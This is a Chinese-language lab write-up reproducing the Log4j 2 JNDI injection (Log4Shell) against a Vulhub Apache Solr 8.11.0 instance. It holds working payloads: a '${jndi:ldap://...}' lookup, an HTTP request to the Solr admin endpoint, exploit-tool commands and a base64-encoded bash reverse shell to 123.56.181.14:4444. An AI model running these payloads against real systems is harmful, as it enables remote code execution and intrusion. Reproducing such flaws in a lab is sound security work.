漏洞描述
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}
的lookup用于进行JNDI注入,执行任意代码。
Apache Log4j2 是一个 Java 的日志管理工具,是 Log4j 的升级版本
JNDI(Java Naming and Directory Interface)是 Java 平台提供的一种命名和目录服务接口,用于在 Java 应用程序中访问各种命名和目录服务,如 DNS、LDAP、RMI 注册表等。JNDI 提供了统一的方式来访问这些服务,使得 Java 应用程序能够更方便地与外部资源进行交互。
JNDI 注入漏洞是指攻击者通过恶意构造的输入参数,绕过应用程序的安全机制,将攻击者控制的恶意对象注入到 JNDI 上下文中,从而导致应用程序在使用 JNDI 服务时执行恶意操作或获取敏感信息。
JNDI 注入漏洞通常出现在使用 JNDI 进行资源查找和连接时,攻击者通过在输入参数中插入特定的 JNDI URL 或其他恶意信息,来欺骗应用程序使用攻击者指定的资源。具体攻击方式可能因应用程序的不同而有所差异。
在 JNDI(Java Naming and Directory Interface)中,lookup 是指通过名称查找资源、对象或上下文。
JNDI 提供了一种机制,使得我们可以通过名称来访问和获取各种命名和目录服务中的资源。lookup 操作是 JNDI 中的一项基本操作,通过指定一个唯一的名称或路径,我们可以在 JNDI 上下文中查找并获取与该名称相关联的资源。
lookup 操作的具体步骤如下:
- 获取 JNDI 初始上下文(Initial Context):通常使用
InitialContext
类的实例来表示。
- 调用
lookup()
方法:使用 JNDI 上下文的 lookup()
方法来执行查找操作。该方法接收一个名称参数,指定要查找的资源或对象的名称。
- 处理查找结果:
lookup()
方法返回一个对象,表示与给定名称相关联的资源,根据具体情况进行处理。如果找到匹配的资源,我们可以将其类型转换为我们所需的类型,并使用该资源进行后续操作。
参考链接:
环境搭建
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。
Vulhub执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:
docker compose up -d
服务启动后,访问http://your-ip:8983
即可查看到Apache Solr的后台页面。
- Apache Solr 是一个基于 Apache Lucene 的开源搜索平台,主要用于构建强大的全文搜索、分布式搜索和数据分析应用。
漏洞复现
${jndi:ldap://${sys:java.version}.example.com}
是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值,发送如下数据包:
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
我们可以在DNS日志平台收到相关日志,显示出当前Java版本:
实际利用JNDI注入漏洞,可以使用这个工具。
若利用工具,要确保 1099、1389、8180端口可用,不被其他程序占用。
需要把生成的 JNDI链接注入到存在漏洞的应用环境中
https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/README-CN.md
得到工具jar包
java -jar /root/vulhub-tools/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
-C "touch /tmp/awesoe_oc" -A "123.56.181.14"
利用完毕后,可见touch /tmp/awesome_oc
已经成功被执行:
反弹shell
若出现端口已被占用问题,可逐一检查1099、1389、8180端口,杀死相关占用进程
构造反弹shell命令:
bash -i >& /dev/tcp/123.56.181.14/4444 0>&1
java -jar /root/vulhub-tools/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTYuMTgxLjE0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "123.56.181.14"
攻击机监听4444端口,上述请求包发送后,接收反弹shell: